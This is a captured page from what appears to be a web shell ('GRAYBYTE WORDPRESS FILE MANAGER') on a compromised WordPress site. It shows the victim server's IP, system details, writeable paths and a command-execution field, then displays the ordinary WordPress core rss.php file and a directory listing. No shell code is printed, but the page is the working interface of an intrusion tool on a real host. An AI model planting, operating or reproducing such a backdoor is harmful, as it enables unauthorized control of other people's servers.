GRAYBYTE WORDPRESS FILE MANAGER7426

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/ai.internsifyafrica.com/wp-includes/blocks/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/ai.internsifyafrica.com/wp-includes/blocks//rss.php
<?php
/**
 * Server-side rendering of the `core/rss` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/rss` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content with received rss items.
 */
function render_block_core_rss( $attributes ) {
	if ( in_array( untrailingslashit( $attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site.' ) . '</div></div>';
	}

	$rss = fetch_feed( $attributes['feedURL'] );

	if ( is_wp_error( $rss ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</div></div>';
	}

	if ( ! $rss->get_item_quantity() ) {
		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>';
	}

	$rss_items  = $rss->get_items( 0, $attributes['itemsToShow'] );
	$list_items = '';
	foreach ( $rss_items as $item ) {
		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
		if ( empty( $title ) ) {
			$title = __( '(no title)' );
		}
		$link = $item->get_link();
		$link = esc_url( $link );
		if ( $link ) {
			$title = "<a href='{$link}'>{$title}</a>";
		}
		$title = "<div class='wp-block-rss__item-title'>{$title}</div>";

		$date = '';
		if ( $attributes['displayDate'] ) {
			$date = $item->get_date( 'U' );

			if ( $date ) {
				$date = sprintf(
					'<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ',
					esc_attr( date_i18n( 'c', $date ) ),
					esc_attr( date_i18n( get_option( 'date_format' ), $date ) )
				);
			}
		}

		$author = '';
		if ( $attributes['displayAuthor'] ) {
			$author = $item->get_author();
			if ( is_object( $author ) ) {
				$author = $author->get_name();
				$author = '<span class="wp-block-rss__item-author">' . sprintf(
					/* translators: %s: the author. */
					__( 'by %s' ),
					esc_html( strip_tags( $author ) )
				) . '</span>';
			}
		}

		$excerpt = '';
		if ( $attributes['displayExcerpt'] ) {
			$excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
			$excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' [&hellip;]' ) );

			// Change existing [...] to [&hellip;].
			if ( '[...]' === substr( $excerpt, -5 ) ) {
				$excerpt = substr( $excerpt, 0, -5 ) . '[&hellip;]';
			}

			$excerpt = '<div class="wp-block-rss__item-excerpt">' . esc_html( $excerpt ) . '</div>';
		}

		$list_items .= "<li class='wp-block-rss__item'>{$title}{$date}{$author}{$excerpt}</li>";
	}

	$classnames = array();
	if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) {
		$classnames[] = 'is-grid';
	}
	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) {
		$classnames[] = 'columns-' . $attributes['columns'];
	}
	if ( $attributes['displayDate'] ) {
		$classnames[] = 'has-dates';
	}
	if ( $attributes['displayAuthor'] ) {
		$classnames[] = 'has-authors';
	}
	if ( $attributes['displayExcerpt'] ) {
		$classnames[] = 'has-excerpts';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );

	return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $list_items );
}

/**
 * Registers the `core/rss` block on server.
 */
function register_block_core_rss() {
	register_block_type_from_metadata(
		__DIR__ . '/rss',
		array(
			'render_callback' => 'render_block_core_rss',
		)
	);
}
add_action( 'init', 'register_block_core_rss' );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 13 2025 02:32:20
inteuuod / inteuuod
0755
archives
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
audio
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
avatar
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
block
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
button
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
buttons
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
calendar
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
categories
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
code
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
column
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
columns
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comment-author-name
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comment-content
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comment-date
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comment-edit-link
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comment-reply-link
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comment-template
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comments
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comments-pagination
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comments-pagination-next
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comments-pagination-numbers
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comments-pagination-previous
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
comments-title
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
cover
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
details
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
embed
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
file
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
footnotes
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
freeform
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
gallery
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
group
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
heading
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
home-link
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
html
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
image
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
latest-comments
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
latest-posts
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
legacy-widget
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
list
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
list-item
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
loginout
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
media-text
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
missing
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
more
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
navigation
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
navigation-link
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
navigation-submenu
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
nextpage
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
page-list
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
page-list-item
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
paragraph
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
pattern
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-author
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-author-biography
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-author-name
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-comments-form
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-content
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-date
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-excerpt
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-featured-image
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-navigation-link
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-template
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-terms
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
post-title
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
preformatted
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
pullquote
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query-no-results
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query-pagination
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query-pagination-next
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query-pagination-numbers
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query-pagination-previous
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
query-title
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
quote
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
read-more
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
rss
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
search
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
separator
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
shortcode
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
site-logo
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
site-tagline
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
site-title
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
social-link
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
social-links
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
spacer
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
table
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
tag-cloud
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
template-part
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
term-description
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
text-columns
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
verse
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
video
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
widget-group
--
July 11 2025 00:52:32
inteuuod / inteuuod
0755
.htaccess
0.124 KB
July 11 2025 00:52:32
inteuuod / inteuuod
0444
archives.php
2.887 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
avatar.php
5.511 KB
April 09 2024 20:33:28
inteuuod / inteuuod
0644
block.php
2.993 KB
March 05 2024 00:38:24
inteuuod / inteuuod
0644
blocks-json.php
167.852 KB
February 20 2024 21:46:26
inteuuod / inteuuod
0644
calendar.php
5.705 KB
January 30 2024 07:37:12
inteuuod / inteuuod
0644
categories.php
2.811 KB
January 30 2024 07:37:12
inteuuod / inteuuod
0644
comment-author-name.php
2.046 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
comment-content.php
2.364 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
comment-date.php
1.559 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
comment-edit-link.php
1.636 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
comment-reply-link.php
1.989 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
comment-template.php
4.352 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
comments-pagination-next.php
1.811 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
comments-pagination-numbers.php
1.557 KB
April 13 2022 00:42:48
inteuuod / inteuuod
0644
comments-pagination-previous.php
1.607 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
comments-pagination.php
1.134 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
comments-title.php
2.67 KB
September 21 2022 01:13:30
inteuuod / inteuuod
0644
comments.php
6.469 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
cover.php
2.452 KB
June 28 2023 00:05:30
inteuuod / inteuuod
0644
file.php
2.405 KB
February 13 2024 23:42:18
inteuuod / inteuuod
0644
footnotes.php
3.683 KB
February 28 2024 01:18:24
inteuuod / inteuuod
0644
gallery.php
6.232 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
heading.php
1.233 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
home-link.php
5.506 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
image.php
10.536 KB
February 13 2024 23:42:18
inteuuod / inteuuod
0644
index.php
4.478 KB
October 30 2023 22:24:22
inteuuod / inteuuod
0644
latest-comments.php
4.885 KB
April 13 2022 00:42:48
inteuuod / inteuuod
0644
latest-posts.php
8.17 KB
October 10 2023 21:00:20
inteuuod / inteuuod
0644
legacy-widget.php
3.811 KB
October 18 2022 23:26:02
inteuuod / inteuuod
0644
loginout.php
1.348 KB
November 09 2021 00:59:22
inteuuod / inteuuod
0644
navigation-link.php
12.88 KB
February 20 2024 21:46:26
inteuuod / inteuuod
0644
navigation-submenu.php
8.814 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
navigation.php
57.238 KB
March 28 2024 18:01:20
inteuuod / inteuuod
0644
page-list-item.php
0.334 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
page-list.php
13.137 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
pattern.php
2.118 KB
January 31 2024 23:29:56
inteuuod / inteuuod
0644
post-author-biography.php
1.414 KB
April 13 2022 00:42:48
inteuuod / inteuuod
0644
post-author-name.php
1.705 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
post-author.php
2.507 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
post-comments-form.php
2.684 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
post-content.php
2.068 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
post-date.php
2.289 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
post-excerpt.php
3.329 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
post-featured-image.php
8.826 KB
January 30 2024 07:37:12
inteuuod / inteuuod
0644
post-navigation-link.php
4.687 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
post-template.php
5.521 KB
March 06 2024 00:29:18
inteuuod / inteuuod
0644
post-terms.php
3.549 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
post-title.php
2.029 KB
January 30 2024 07:37:12
inteuuod / inteuuod
0644
query-no-results.php
1.711 KB
September 26 2023 23:53:26
inteuuod / inteuuod
0644
query-pagination-next.php
3.6 KB
January 30 2024 07:37:12
inteuuod / inteuuod
0644
query-pagination-numbers.php
4.565 KB
February 13 2024 23:42:18
inteuuod / inteuuod
0644
query-pagination-previous.php
3.056 KB
January 30 2024 07:37:12
inteuuod / inteuuod
0644
query-pagination.php
1.111 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
query-title.php
2.012 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
query.php
6.147 KB
February 13 2024 23:42:18
inteuuod / inteuuod
0644
read-more.php
1.75 KB
February 07 2023 23:30:10
inteuuod / inteuuod
0644
require-dynamic-blocks.php
3.852 KB
November 01 2023 00:44:06
inteuuod / inteuuod
0644
require-static-blocks.php
0.523 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
rss.php
3.834 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
search.php
22.791 KB
March 05 2024 00:38:24
inteuuod / inteuuod
0644
shortcode.php
0.681 KB
June 26 2020 23:03:48
inteuuod / inteuuod
0644
site-logo.php
5.794 KB
June 27 2023 23:54:20
inteuuod / inteuuod
0644
site-tagline.php
0.971 KB
June 22 2021 19:30:50
inteuuod / inteuuod
0644
site-title.php
1.729 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
social-link.php
62.158 KB
February 10 2024 04:52:22
inteuuod / inteuuod
0644
tag-cloud.php
1.37 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
template-part.php
9.715 KB
June 25 2024 00:45:18
inteuuod / inteuuod
0644
term-description.php
1.268 KB
February 07 2023 17:34:52
inteuuod / inteuuod
0644
widget-group.php
2.115 KB
October 18 2022 23:26:02
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF